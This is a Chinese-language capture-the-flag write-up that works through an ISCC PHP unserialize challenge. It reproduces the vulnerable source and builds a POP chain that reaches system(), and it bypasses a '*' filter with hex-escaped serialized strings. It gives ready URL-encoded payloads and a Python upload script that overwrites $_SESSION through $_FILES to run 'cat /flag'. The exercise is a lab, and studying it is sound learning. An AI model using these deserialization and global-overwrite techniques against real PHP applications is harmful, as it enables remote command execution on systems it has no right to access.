session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);
$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
if(is_uploaded_file($iscc_file['tmp_name'])) {
$check = @getimagesize($iscc_file["tmp_name"]);
if($check !== false) {
$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);
if (file_exists($target_file)) {
echo "想啥呢?有东西了……
";
finalize();
exit;
}
if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~
";
finalize();
exit;
}
if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!
";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(
";
finalize();
exit;
}
} else {
finalize();
exit;
}
} else {
echo "你真是个天才!
";
finalize();
exit;
}
}
}
}
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,发号施令!'";
function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;
if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}
if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
class ISCC_Login {
function __wakeup() {
$this->login();
}
function __destruct() {
$this->logout();
}
function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}
function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}
}
class ISCC_TellMeTruth {
function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相
";
}
function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相
";
}
}
class ISCC_Command {
function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}
function __toString() {
global $cmd;
return "看看你干的好事: {
$cmd}
";
}
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [{
$cmd}] 弄出了什么后果: ";
echo "";
@system($cmd);
echo "";
}
}
}
function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "
";
}
if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?
");
}
if(isset($_GET['?'])) {
$wtf = waf($_GET{
'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));
if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}
if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?
");
}
?>
ISCC_Command类里面的__destruct方法可以执行cmd命令
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [{
$cmd}] 弄出了什么后果: ";
echo "";
@system($cmd);
echo "";
}
}
然后在ISCC_ResetCMD类里面对cmd进行重新赋值
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,发号施令!'";
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
但是要求:这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc
的SESSION
。也就是$_SESSION['name']='isccIsCciScc1scc'
才行,。那么就要覆盖session变量,
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
ISCC__Upload类:
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
其中$GLOBALS['key'] = value;
为全局变量的覆盖,当$is_upload
为true
的时候,就会触发这个循环,可以实现$_SESSION
的变量覆盖。
而在upload类里面的__wakeup
方法里面$is_upload = (count($_FILES) > 0);
会把他设置成true
.。在其他的类中,都将$is_upload
设置为了false
。所以就在这里操作。
这里了解一下$_FILES
,$_FILES
通过TTP POST
方式上传到当前脚本的项目的数组。
数组内容如下:
$_FILES['userfile']['name'] #客户端机器文件的原名称。
$_FILES['userfile']['type'] #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size'] #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error'] #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。
传入这样的脚本,就能够实现session数组变量的覆盖了。 后面又分析,很细致的分析。
import requests
url="http://ip/aa/test1.php"
files={
'iscc_file': ("b", 'content', 'bbb'),
"_SESSION":("isccIsCciScc1scc","123")
}
headers={
'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url,files=files)
print(r.text)
那么来了:
我们要先执行upload的destruct来改变session。然后是reset的destruct,重写cmd。然后是comand的destruct。执行命令。
这里,顺序要倒过来看下面:序列化的顺序和反序列化调用destruct的顺序是相反的。
我们要在ISCC__Upload
类执行__destruct
之前,is_upload
是 true
。
这就要求,最早执行__destruct
,最晚执行__wakeup
,所以就可以按一定顺序来构造POP链 --------------》?????
先是upload的destruct,然后是reset的destruct,然后是comand的destruct、
由于有一个waf函数,不能出现*
号。
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
但是ISCC_ResetCMD
类的$new_cmd
的属性是protected
的,序列化后会带有*
,这就需要SCC_Upload
类的__wakeup
在这些类的最后进行,但是__destruct
要在第一个开始。需要按一定顺序来构造POP链::
这个数组,就是用来控制顺序的。
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;
结果是这个:
protected属性,*
两边各有一个\00
,不可见字符,各占一个位置,
a:3:{
s:1:"a";O:11:"ISCC_Upload":0:{
}s:1:"b";O:13:"ISCC_ResetCMD":1:{
s:10:" * new_cmd";s:9:"cat /flag";}s:1:"c";O:12:"ISCC_Command":0:{
}}
然后这里绕过方法:
利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。
用\00
表示%00
我晓得,但是这里,替换%2A
是*
。怎么就变成了这个了啊。?
重新构造POP链:
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;
我运行之后是这个:
a%3A3%3A%7BS%3A1%3A%22a%22%3BO%3A11%3A%22ISCC_Upload%22%3A0%3A%7B%7DS%3A1%3A%22b%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A1%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3B%7DS%3A1%3A%22c%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D
但是WP最终提交的是这个:
O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D
import requests
url="http://ip/aa/test1.php"
content="""
#define width 13
#define height 13
"""
files={
'iscc_file': ("b", content, 'bbb'),
"_SESSION":("isccIsCciScc1scc","123")
}
headers={
'Cookie':"PHPSESSID=l349vpmm3ttecidg9usocam8h0"
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files,headers=headers)
# r = requests.post(url=url)
print(r.text)
我用它的这个payload能打出来,但是我的就不行,
佐证一下,看看下面这个就明白了。悟了,我好像悟了,
class ISCC_Command {
public $a;
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
public $b;
}
class ISCC_Upload {
}
/*
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
*/
$com = new ISCC_Command();
$com->a=new ISCC_ResetCMD();
$res = new ISCC_ResetCMD();
$res->b=new ISCC_Upload();
$b=urlencode(serialize($com));
echo serialize($com)."\n";
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;
?>
出来的payload:
这是我的,,
O:11:"ISCC_Upload":1:{
s:1:"a";O:13:"ISCC_ResetCMD":2:{
s:10:" * new_cmd";s:9:"cat /flag";s:1:"b";N;}}
这是WP的urldecode之后的:
这是我的
O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BN%3B%7D%7D
这是WP的。
O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D
$_GLOBAL[]
这一块有漏洞,最后我们需要$_SESSION['name']='isccIsCciScc1scc'
。才行,就用这里来控制$_SESSION
python上传文件的脚本,根本看不懂,为什么要上传一个名字为_SESSION
的文件,这里要深入分析才能够知道。
import requests
url="http://ip/aa/test1.php"
files={
'iscc_file': ("b", 'content', 'bbb'),
"_SESSION":("isccIsCciScc1scc","123")
}
headers={
'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url,files=files)
print(r.text)
看phpstorm中的调试:
session_start();
$_SESSION['name'] = 'adam';
var_dump($_SESSION);
$_FILES=array("iscc_file"=>array("name"=>"b","type"=>"bbb","tmp_name"=>"/tmp/phpzfe23f","error"=>0,"size"=>7),
"_SESSION"=>array("name"=>"isccIsCciScc1scc","type"=>'aaa',"tmp_name"=>"/tmp/php23fo4i","error"=>0,"size"=>3));
foreach ($_FILES as $key => $value)
{
$GLOBALS[$key] = $value;
echo $key."
";
}
#var_dump($_FILES);
#var_dump($_SESSION);
var_dump($GLOBALS);
echo "
"."
";
var_dump($_SESSION);
?>
同样可以伪造COOKIES
?。不行,因为文件伤处啊那就只有5个参数,只不过这里session数组的参数name,刚刚好文件上传数组中也有name这个,然后就实现覆盖了。
真的妙,妙啊,
*
的转化不懂了。这个*
换为10进制是 42 . 然后 变成16进制是 2a 、 然后就是\2a
了。
*
在反序列化中的限制,